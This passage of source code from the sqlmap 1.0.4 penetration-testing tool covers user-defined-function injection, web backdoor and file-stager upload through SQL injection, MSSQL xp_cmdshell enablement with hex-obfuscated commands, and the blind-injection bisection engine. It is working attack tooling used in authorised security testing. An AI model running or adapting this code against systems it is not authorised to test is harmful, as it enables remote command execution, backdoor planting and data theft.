os.path.exists(self.udfLocalFile): errMsg = "the specified shared library file does not exist" raise SqlmapFilePathException(errMsg) if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"): errMsg = "shared library file must end with '.dll' or '.so'" raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS): errMsg = "you provided a shared object as shared library, but " errMsg += "the database underlying operating system is Windows" raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX): errMsg = "you provided a dynamic-link library as shared library, " errMsg += "but the database underlying operating system is Linux" raise SqlmapMissingMandatoryOptionException(errMsg) self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0] self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1] msg = "how many user-defined functions do you want to create " msg += "from the shared library? " while True: udfCount = readInput(msg, default=1) if isinstance(udfCount, basestring) and udfCount.isdigit(): udfCount = int(udfCount) if udfCount <= 0: logger.info("nothing to inject then") return else: break elif isinstance(udfCount, int): break else: logger.warn("invalid value, only digits are allowed") for x in xrange(0, udfCount): while True: msg = "what is the name of the UDF number %d? " % (x + 1) udfName = readInput(msg) if udfName: self.udfs[udfName] = {} break else: logger.warn("you need to specify the name of the UDF") if Backend.isDbms(DBMS.MYSQL): defaultType = "string" elif Backend.isDbms(DBMS.PGSQL): defaultType = "text" self.udfs[udfName]["input"] = [] default = 1 msg = "how many input parameters takes UDF " msg += "'%s'? (default: %d) " % (udfName, default) while True: parCount = readInput(msg, default=default) if isinstance(parCount, basestring) and parCount.isdigit() and int(parCount) >= 0: parCount = int(parCount) break elif isinstance(parCount, int): break else: logger.warn("invalid value, only digits >= 0 are allowed") for y in xrange(0, parCount): msg = "what is the data-type of input parameter " msg += "number %d? (default: %s) " % ((y + 1), defaultType) while True: parType = readInput(msg, default=defaultType) if isinstance(parType, basestring) and parType.isdigit(): logger.warn("you need to specify the data-type of the parameter") else: self.udfs[udfName]["input"].append(parType) break msg = "what is the data-type of the return " msg += "value? (default: %s) " % defaultType while True: retType = readInput(msg, default=defaultType) if isinstance(retType, basestring) and retType.isdigit(): logger.warn("you need to specify the data-type of the return value") else: self.udfs[udfName]["return"] = retType break success = self.udfInjectCore(self.udfs) if success is False: self.cleanup(udfDict=self.udfs) return False msg = "do you want to call your injected user-defined " msg += "functions now? [Y/n/q] " choice = readInput(msg, default="Y") if choice[0] in ("n", "N"): self.cleanup(udfDict=self.udfs) return elif choice[0] in ("q", "Q"): self.cleanup(udfDict=self.udfs) raise SqlmapUserQuitException while True: udfList = [] msg = "which UDF do you want to call?" for udf in self.udfs.keys(): udfList.append(udf) msg += "\n[%d] %s" % (len(udfList), udf) msg += "\n[q] Quit" while True: choice = readInput(msg) if choice and choice[0] in ("q", "Q"): break elif isinstance(choice, basestring) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList): choice = int(choice) break elif isinstance(choice, int) and choice > 0 and choice <= len(udfList): break else: warnMsg = "invalid value, only digits >= 1 and " warnMsg += "<= %d are allowed" % len(udfList) logger.warn(warnMsg) if not isinstance(choice, int): break cmd = "" count = 1 udfToCall = udfList[choice - 1] for inp in self.udfs[udfToCall]["input"]: msg = "what is the value of the parameter number " msg += "%d (data-type: %s)? " % (count, inp) while True: parValue = readInput(msg) if parValue: if "int" not in inp and "bool" not in inp: parValue = "'%s'" % parValue cmd += "%s," % parValue break else: logger.warn("you need to specify the value of the parameter") count += 1 cmd = cmd[:-1] msg = "do you want to retrieve the return value of the " msg += "UDF? [Y/n] " choice = readInput(msg, default="Y") if choice[0] in ("y", "Y"): output = self.udfEvalCmd(cmd, udfName=udfToCall) if output: conf.dumper.string("return value", output) else: dataToStdout("No return value\n") else: self.udfExecCmd(cmd, udfName=udfToCall, silent=True) msg = "do you want to call this or another injected UDF? [Y/n] " choice = readInput(msg, default="Y") if choice[0] not in ("y", "Y"): break self.cleanup(udfDict=self.udfs) sqlmap-1.0.4/lib/takeover/web.py000066400000000000000000000340631270044205500165330ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import posixpath import re import StringIO import tempfile import urlparse from extra.cloak.cloak import decloak from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import extractRegexResult from lib.core.common import getAutoDirectories from lib.core.common import getManualDirectories from lib.core.common import getPublicTypeMembers from lib.core.common import getSQLSnippet from lib.core.common import getUnicode from lib.core.common import ntToPosixSlashes from lib.core.common import isTechniqueAvailable from lib.core.common import isWindowsDriveLetterPath from lib.core.common import normalizePath from lib.core.common import posixToNtSlashes from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import singleTimeWarnMessage from lib.core.convert import hexencode from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.enums import PAYLOAD from lib.core.enums import WEB_API from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import VIEWSTATE_REGEX from lib.request.connect import Connect as Request from thirdparty.oset.pyoset import oset class Web: """ This class defines web-oriented OS takeover functionalities for plugins. """ def __init__(self): self.webApi = None self.webBaseUrl = None self.webBackdoorUrl = None self.webBackdoorFilePath = None self.webStagerUrl = None self.webStagerFilePath = None self.webDirectory = None def webBackdoorRunCmd(self, cmd): if self.webBackdoorUrl is None: return output = None if not cmd: cmd = conf.osCmd cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd) page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT) if page is not None: output = re.search("
    (.+?)
    ", page, re.I | re.S) if output: output = output.group(1) return output def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None): if filepath is not None: if filepath.endswith('_'): content = decloak(filepath) # cloaked file else: with open(filepath, "rb") as f: content = f.read() if content is not None: stream = StringIO.StringIO(content) # string content return self._webFileStreamUpload(stream, destFileName, directory) def _webFileStreamUpload(self, stream, destFileName, directory): stream.seek(0) # Rewind try: setattr(stream, "name", destFileName) except TypeError: pass if self.webApi in getPublicTypeMembers(WEB_API, True): multipartParams = { "upload": "1", "file": stream, "uploadDir": directory, } if self.webApi == WEB_API.ASPX: multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) if "File uploaded" not in page: warnMsg = "unable to upload the file through the web file " warnMsg += "stager to '%s'" % directory logger.warn(warnMsg) return False else: return True else: logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webApi) return False def _webFileInject(self, fileContent, fileName, directory): outFile = posixpath.join(ntToPosixSlashes(directory), fileName) uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" if isTechniqueAvailable(kb.technique): where = kb.injection.data[kb.technique].where if where == PAYLOAD.WHERE.NEGATIVE: randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery)) query = agent.prefixQuery(query) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) page = Request.queryPage(payload) return page def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_API, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(oset(directories)) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): directory = "/%s" % directory else: directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory if not directory.endswith('/'): directory += '/' # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Fall-back to UNION queries file upload method if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via UNION method" logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) handle, filename = tempfile.mkstemp() os.close(handle) with open(filename, "w+b") as f: _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "> \"%s\%s\"" % (tmpPath, randDestFile) echoedLines.append(echoedLine) for echoedLine in echoedLines: cmd += "%s & " % echoedLine charCounter += len(echoedLine) if charCounter >= maxLen: self.xpCmdshellExecCmd(cmd.rstrip(" & ")) cmd = "" charCounter = 0 if cmd: self.xpCmdshellExecCmd(cmd.rstrip(" & ")) def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): # When user provides DBMS credentials (with --dbms-cred) we need to # redirect the command standard output to a temporary file in order # to retrieve it afterwards # NOTE: this does not need to be done when the command is 'del' to # delete the temporary file if conf.dbmsCred and insertIntoTable: self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) cmd = "%s > \"%s\"" % (cmd, self.tmpFile) # Obfuscate the command to execute, also useful to bypass filters # on single-quotes self._randStr = randomStr(lowercase=True) self._cmd = "0x%s" % hexencode(cmd) self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr self._forgedCmd += "SET @%s=%s;" % (self._randStr, self._cmd) # Insert the command standard output into a support table, # 'sqlmapoutput', except when DBMS credentials are provided because # it does not work unfortunately, BULK INSERT needs to be used to # retrieve the output when OPENROWSET is used hence the redirection # to a temporary file from above if insertIntoTable and not conf.dbmsCred: self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable self._forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self._randStr) return agent.runAsDBMSUser(self._forgedCmd) def xpCmdshellExecCmd(self, cmd, silent=False): return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent) def xpCmdshellEvalCmd(self, cmd, first=None, last=None): output = None if conf.direct: output = self.xpCmdshellExecCmd(cmd) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: if line == "NULL": new_output += "\n" else: new_output += "%s\n" % line.strip("\r") output = new_output else: inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) # When user provides DBMS credentials (with --dbms-cred), the # command standard output is redirected to a temporary file # The file needs to be copied to the support table, # 'sqlmapoutput' if conf.dbmsCred: inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10))) self.delRemoteFile(self.tmpFile) query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: output = inject.getValue(query, resumeValue=False, blind=False, time=False) if (output is None) or len(output)==0 or output[0] is None: output = [] count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): for index in getLimitRange(count): query = agent.limitQuery(index, query, self.tblField) output.append(inject.getValue(query, union=False, error=False, resumeValue=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isListLike(output) and len(output) > 1: _ = "" lines = [line for line in flattenValue(output) if line is not None] for i in xrange(len(lines)): line = lines[i] or "" if line is None or i in (0, len(lines) - 1) and not line.strip(): continue _ += "%s\n" % line output = _.rstrip('\n') return output def xpCmdshellInit(self): if not kb.xpCmdshellAvailable: infoMsg = "checking if xp_cmdshell extended procedure is " infoMsg += "available, please wait.." logger.info(infoMsg) result = self._xpCmdshellCheck() if result: logger.info("xp_cmdshell extended procedure is available") kb.xpCmdshellAvailable = True else: message = "xp_cmdshell extended procedure does not seem to " message += "be available. Do you want sqlmap to try to " message += "re-enable it? [Y/n] " choice = readInput(message, default="Y") if not choice or choice in ("y", "Y"): self._xpCmdshellConfigure(1) if self._xpCmdshellCheck(): logger.info("xp_cmdshell re-enabled successfully") kb.xpCmdshellAvailable = True else: logger.warn("xp_cmdshell re-enabling failed") logger.info("creating xp_cmdshell with sp_OACreate") self._xpCmdshellConfigure(0) self._xpCmdshellCreate() if self._xpCmdshellCheck(): logger.info("xp_cmdshell created successfully") kb.xpCmdshellAvailable = True else: warnMsg = "xp_cmdshell creation failed, probably " warnMsg += "because sp_OACreate is disabled" logger.warn(warnMsg) hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable) if not kb.xpCmdshellAvailable: errMsg = "unable to proceed without xp_cmdshell" raise SqlmapUnsupportedFeatureException(errMsg) debugMsg = "creating a support table to write commands standard " debugMsg += "output to" logger.debug(debugMsg) # TEXT can't be used here because in error technique you get: # "The text, ntext, and image data types cannot be compared or sorted" self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)") self._xpCmdshellTest() sqlmap-1.0.4/lib/techniques/000077500000000000000000000000001270044205500157265ustar00rootroot00000000000000sqlmap-1.0.4/lib/techniques/__init__.py000066400000000000000000000002261270044205500200370ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/lib/techniques/blind/000077500000000000000000000000001270044205500170165ustar00rootroot00000000000000sqlmap-1.0.4/lib/techniques/blind/__init__.py000066400000000000000000000002261270044205500211270ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/lib/techniques/blind/inference.py000066400000000000000000000700101270044205500213240ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re import threading import time from extra.safe2bin.safe2bin import safechardecode from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout from lib.core.common import decodeHexValue from lib.core.common import decodeIntToUnicode from lib.core.common import filterControlChars from lib.core.common import getCharset from lib.core.common import getCounter from lib.core.common import getUnicode from lib.core.common import goGoodSamaritan from lib.core.common import getPartRun from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter from lib.core.common import randomInt from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapThreadException from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import INFERENCE_BLANK_BREAK from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import INFERENCE_GREATER_CHAR from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import MAX_BISECTION_LENGTH from lib.core.settings import MAX_TIME_REVALIDATION_STEPS from lib.core.settings import NULL from lib.core.settings import PARTIAL_HEX_VALUE_MARKER from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import RANDOM_INTEGER_MARKER from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar from lib.utils.xrange import xrange def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ abortedFlag = False showEta = False partialValue = u"" finalValue = None retrievedLength = 0 asciiTbl = getCharset(charsetType) timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good # samaritan") is used or the engine is called from the API if conf.predictOutput: kb.partRun = getPartRun() elif hasattr(conf, "api"): kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): firstChar = 0 elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): lastChar = 0 elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if isinstance(length, basestring) and length.isdigit() or isinstance(length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) if showEta: progress = ProgressBar(maxValue=length) if timeBasedCompare and conf.threads > 1 and not conf.forceThreads: warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare or conf.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) hintlock = threading.Lock() def tryHint(idx): with hintlock: hintValue = kb.hintValue if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return hintValue[idx - 1] with hintlock: kb.hintValue = None return None def validateChar(idx, value): """ Used in time-based inference (in case that original and retrieved value are not equal there will be a deliberate delay). """ if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) return not result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] while len(charTbl) != 1: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if timeBasedCompare and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec kb.timeValidCharsRun = 0 if retried < MAX_TIME_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: kb.timeValidCharsRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None for index in xrange(len(originalTbl)): if originalTbl[index] == minValue: break # If we are working with non-continuous elements, both minValue and character after # are possible candidates for retVal in (originalTbl[index], originalTbl[index + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(retVal) return None # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: threadData = getCurrentThreadData() threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.index.acquire() if threadData.shared.index[0] - firstChar >= length: kb.locks.index.release() return threadData.shared.index[0] += 1 curidx = threadData.shared.index[0] kb.locks.index.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[curidx - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(time.time() - charStart, threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length)) output += status if _ != length else " " * len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) runThreads(numThreads, blindThread, startThreadMsg=False) except 